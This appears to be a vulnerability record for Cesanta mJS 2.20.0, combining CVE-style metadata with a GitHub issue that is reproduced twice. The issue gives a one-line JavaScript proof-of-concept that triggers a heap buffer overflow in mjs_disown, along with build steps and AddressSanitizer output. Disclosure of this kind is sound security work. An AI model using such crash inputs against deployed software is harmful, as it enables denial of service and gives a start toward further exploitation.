Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_disown at src/mjs_core.c.
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)






###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
DOCKER_CLANG=clang
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))(((JSON.stringify - 6.24321e2) - 6.54321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
=================================================================
===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000000138 at pc 0x563a2f179088 bp 0x7fff18d361c0 sp 0x7fff18d361b0
READ of size 8 at 0x604000000138 thread T0
    #0 0x563a2f179087 in mjs_disown src/mjs_core.c:288
    #1 0x563a2f1c7b54 in mjs_json_parse src/mjs_json.c:480
    #2 0x7fff18d3630f  (<unknown module>)

Address 0x604000000138 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_core.c:288 in mjs_disown
Shadow bytes around the buggy address:
  0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff8000: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
  0x0c087fff8010: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
=>0x0c087fff8020: fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa
  0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
```

Credits: Found by OWL337 team.
Heap-buffer-overflow src/mjs_core.c:288 in mjs_disown
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : Heap-buffer-overflow src/mjs_core.c:288 in mjs_disown
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)






###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
DOCKER_CLANG=clang
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))(((JSON.stringify - 6.24321e2) - 6.54321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
=================================================================
===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000000138 at pc 0x563a2f179088 bp 0x7fff18d361c0 sp 0x7fff18d361b0
READ of size 8 at 0x604000000138 thread T0
    #0 0x563a2f179087 in mjs_disown src/mjs_core.c:288
    #1 0x563a2f1c7b54 in mjs_json_parse src/mjs_json.c:480
    #2 0x7fff18d3630f  (<unknown module>)

Address 0x604000000138 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_core.c:288 in mjs_disown
Shadow bytes around the buggy address:
  0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff8000: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
  0x0c087fff8010: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
=>0x0c087fff8020: fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa
  0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
```

Credits: Found by OWL337 team.
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